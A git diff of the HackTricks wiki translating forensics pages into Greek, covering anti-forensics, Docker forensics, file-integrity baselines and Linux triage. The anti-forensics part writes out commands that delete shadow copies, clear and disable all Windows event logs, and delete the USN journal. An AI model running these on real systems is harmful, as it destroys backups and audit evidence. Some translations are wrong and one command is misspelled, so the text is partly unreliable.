||||
Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted.
|
||||
|
||||
## Disable Shadow Copies
|
||||
|
||||
**List** shadow copies with `vssadmin list shadowstorage`\
|
||||
**Delete** them running `vssadmin delete shadow`
|
||||
|
||||
You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Open the Services program by typing "services" into the text search box after clicking the Windows start button.
|
||||
2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking.
|
||||
3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK.
|
||||
|
||||
It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
## Overwrite deleted files
|
||||
|
||||
* You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive.
|
||||
* You can also use tools like [**Eraser**](https://eraser.heidi.ie)
|
||||
|
||||
## Delete Windows event logs
|
||||
|
||||
* Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log"
|
||||
* Windows + R --> eventvwr.msc --> Ανάπτυξη "Καταγραφές των Windows" --> Δεξί κλικ σε κάθε κατηγορία και επιλογή "Εκκαθάριση καταγραφής"
|
||||
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
## Disable Windows event logs
|
||||
## Απενεργοποίηση καταγραφής συμβάντων των Windows
|
||||
|
||||
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
* Inside the services section disable the service "Windows Event Log"
|
||||
* `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl`
|
||||
* Εντός της ενότητας υπηρεσιών, απενεργοποιήστε την υπηρεσία "Windows Event Log"
|
||||
* `WEvtUtil.exec clear-log` ή `WEvtUtil.exe cl`
|
||||
|
||||
## Disable $UsnJrnl
|
||||
## Απενεργοποίηση $UsnJrnl
|
||||
|
||||
* `fsutil usn deletejournal /d c:`
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε** 💬 στην ομάδα [**Discord**](https://discord.gg/hRep4RUj7f) ή στην ομάδα [**telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,31 +1,28 @@
|
|||
# Docker Forensics
|
||||
# Ερευνητική μεθοδολογία Docker
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Container modification
|
||||
|
||||
There are suspicions that some docker container was compromised:
|
||||
## Τροποποίηση εμπορεύματος
|
||||
|
||||
Υπάρχουν υποψίες ότι ένα κάποιο docker container έχει παραβιαστεί:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||
```
|
||||
|
||||
You can easily **find the modifications done to this container with regards to the image** with:
|
||||
|
||||
Μπορείτε εύκολα **να βρείτε τις τροποποιήσεις που έχουν γίνει σε αυτό το container σχετικά με την εικόνα** με:
|
||||
```bash
|
||||
docker diff wordpress
|
||||
C /var
|
||||
|
@ -39,70 +36,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
|||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
|
||||
In the previous command **C** means **Changed** and **A,** **Added**.\
|
||||
If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with:
|
||||
|
||||
Στην προηγούμενη εντολή, το **C** σημαίνει **Αλλαγή** και το **A,** **Προσθήκη**.\
|
||||
Εάν ανακαλύψετε ότι ένα ενδιαφέρον αρχείο όπως το `/etc/shadow` έχει τροποποιηθεί, μπορείτε να το κατεβάσετε από τον εκτελέσιμο χώρο για να ελέγξετε για κακόβουλη δραστηριότητα με:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
```
|
||||
|
||||
You can also **compare it with the original one** running a new container and extracting the file from it:
|
||||
|
||||
Μπορείτε επίσης **να το συγκρίνετε με το αρχικό** εκτελώντας ένα νέο container και εξάγοντας το αρχείο από αυτό:
|
||||
```bash
|
||||
docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
|
||||
If you find that **some suspicious file was added** you can access the container and check it:
|
||||
|
||||
Εάν ανακαλύψετε ότι **προστέθηκε ένα ύποπτο αρχείο**, μπορείτε να αποκτήσετε πρόσβαση στον εκτελέσιμο και να το ελέγξετε:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
## Τροποποιήσεις εικόνας
|
||||
|
||||
## Images modifications
|
||||
|
||||
When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**:
|
||||
|
||||
Όταν σας δίνεται μια εξαγόμενη εικόνα docker (πιθανώς σε μορφή `.tar`), μπορείτε να χρησιμοποιήσετε το [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) για να **εξάγετε ένα σύνοψη των τροποποιήσεων**:
|
||||
```bash
|
||||
docker save <image> > image.tar #Export the image to a .tar file
|
||||
container-diff analyze -t sizelayer image.tar
|
||||
container-diff analyze -t history image.tar
|
||||
container-diff analyze -t metadata image.tar
|
||||
```
|
||||
|
||||
Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history:
|
||||
|
||||
Στη συνέχεια, μπορείτε να **αποσυμπιέσετε** την εικόνα και να **έχετε πρόσβαση στα blobs** για να αναζητήσετε ύποπτα αρχεία που μπορεί να έχετε βρει στο ιστορικό αλλαγών:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
```
|
||||
### Βασική Ανάλυση
|
||||
|
||||
### Basic Analysis
|
||||
|
||||
You can get **basic information** from the image running:
|
||||
|
||||
Μπορείτε να αποκτήσετε **βασικές πληροφορίες** από την εικόνα που εκτελείται:
|
||||
```bash
|
||||
docker inspect <image>
|
||||
docker inspect <image>
|
||||
```
|
||||
|
||||
You can also get a summary **history of changes** with:
|
||||
|
||||
Μπορείτε επίσης να λάβετε ένα σύνοψη **ιστορικού αλλαγών** με:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
|
||||
You can also generate a **dockerfile from an image** with:
|
||||
|
||||
Μπορείτε επίσης να δημιουργήσετε ένα **dockerfile από ένα εικόνα** με την εντολή:
|
||||
```bash
|
||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
```
|
||||
|
||||
### Dive
|
||||
|
||||
In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility:
|
||||
|
||||
Για να βρείτε προστιθέμενα/τροποποιημένα αρχεία σε εικόνες docker, μπορείτε επίσης να χρησιμοποιήσετε το [**dive**](https://github.com/wagoodman/dive) (κατεβάστε το από [**απελευθερώσεις**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) εργαλείο:
|
||||
```bash
|
||||
#First you need to load the image in your docker repo
|
||||
sudo docker load < image.tar 1 ⨯
|
||||
|
@ -111,33 +90,30 @@ Loaded image: flask:latest
|
|||
#And then open it with dive:
|
||||
sudo dive flask:latest
|
||||
```
|
||||
Αυτό σας επιτρέπει να **περιηγηθείτε στα διάφορα blobs των εικόνων του Docker** και να ελέγξετε ποια αρχεία τροποποιήθηκαν/προστέθηκαν. Το **κόκκινο** σημαίνει προσθήκη και το **κίτρινο** σημαίνει τροποποίηση. Χρησιμοποιήστε το **tab** για να μετακινηθείτε στην άλλη προβολή και το **space** για να αναδιπλώσετε/ανοίξετε φακέλους.
|
||||
|
||||
This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders.
|
||||
|
||||
With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\
|
||||
You can decompress all the layers from an image from the directory where the image was decompressed executing:
|
||||
|
||||
Με το die δεν θα μπορείτε να έχετε πρόσβαση στο περιεχόμενο των διαφορετικών σταδίων της εικόνας. Για να το κάνετε αυτό, θα πρέπει να **αποσυμπιέσετε κάθε επίπεδο και να έχετε πρόσβαση** σε αυτό.\
|
||||
Μπορείτε να αποσυμπιέσετε όλα τα επίπεδα μιας εικόνας από τον κατάλογο όπου αποσυμπιέστηκε η εικόνα εκτελώντας:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||
```
|
||||
## Διαπιστευτήρια από τη μνήμη
|
||||
|
||||
## Credentials from memory
|
||||
Σημειώστε ότι όταν εκτελείτε ένα δοχείο docker μέσα σε έναν κεντρικό υπολογιστή, **μπορείτε να δείτε τις διεργασίες που εκτελούνται στο δοχείο από τον κεντρικό υπολογιστή** απλά εκτελώντας την εντολή `ps -ef`
|
||||
|
||||
Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef`
|
||||
|
||||
Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||
Για τον λόγο αυτό (ως root) μπορείτε να **αντιγράψετε τη μνήμη των διεργασιών** από τον κεντρικό υπολογιστή και να αναζητήσετε **διαπιστευτήρια** ακριβώς [**όπως στο παρακάτω παράδειγμα**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,56 +1,52 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Baseline
|
||||
# Βασική γραμμή
|
||||
|
||||
A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**.
|
||||
Μια βασική γραμμή αποτελείται από τη λήψη ενός στιγμιότυπου ορισμένων μερών ενός συστήματος για να **συγκριθεί με μια μελλοντική κατάσταση για να αναδειχθούν οι αλλαγές**.
|
||||
|
||||
For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\
|
||||
This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all.
|
||||
Για παράδειγμα, μπορείτε να υπολογίσετε και να αποθηκεύσετε το hash κάθε αρχείου του συστήματος αρχείων για να μπορείτε να ανακαλύψετε ποια αρχεία τροποποιήθηκαν.\
|
||||
Αυτό μπορεί να γίνει επίσης με τους δημιουργηθέντες λογαριασμούς χρηστών, τις εκτελούμενες διεργασίες, τις εκτελούμενες υπηρεσίες και οποιαδήποτε άλλη πληροφορία που δεν θα έπρεπε να αλλάξει πολύ, ή καθόλου.
|
||||
|
||||
## File Integrity Monitoring
|
||||
## Παρακολούθηση Ακεραιότητας Αρχείων
|
||||
|
||||
File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps:
|
||||
Η Παρακολούθηση Ακεραιότητας Αρχείων (File Integrity Monitoring - FIM) είναι μια κρίσιμη τεχνική ασφαλείας που προστατεύει τα περιβάλλοντα IT και τα δεδομένα με την παρακολούθηση των αλλαγών στα αρχεία. Περιλαμβάνει δύο βασικά βήματα:
|
||||
|
||||
1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications.
|
||||
2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions.
|
||||
1. **Σύγκριση Βασικής Γραμμής:** Δημιουργία μιας βασικής γραμμής χρησιμοποιώντας τα χαρακτηριστικά των αρχείων ή τις κρυπτογραφικές αθροίσεις (όπως MD5 ή SHA-2) για μελλοντικές συγκρίσεις για την ανίχνευση τροποποιήσεων.
|
||||
2. **Ειδοποίηση Αλλαγής σε Πραγματικό Χρόνο:** Λήψη άμεσων ειδοποιήσεων όταν τα αρχεία ανατίθενται ή τροποποιούνται, συνήθως μέσω επεκτάσεων πυρήνα λειτουργικού συστήματος.
|
||||
|
||||
## Tools
|
||||
## Εργαλεία
|
||||
|
||||
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,40 +1,37 @@
|
|||
# Linux Forensics
|
||||
# Ανάλυση Linux
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Initial Information Gathering
|
||||
## Αρχική Συλλογή Πληροφοριών
|
||||
|
||||
### Basic Information
|
||||
|
||||
First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries:
|
||||
### Βασικές Πληροφορίες
|
||||
|
||||
Καταρχήν, συνιστάται να έχετε ένα **USB** με **γνωστά καλά δυαδικά αρχεία και βιβλιοθήκες** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib_ και _/lib64_), στη συνέχεια να προσαρτήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά αρχεία:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
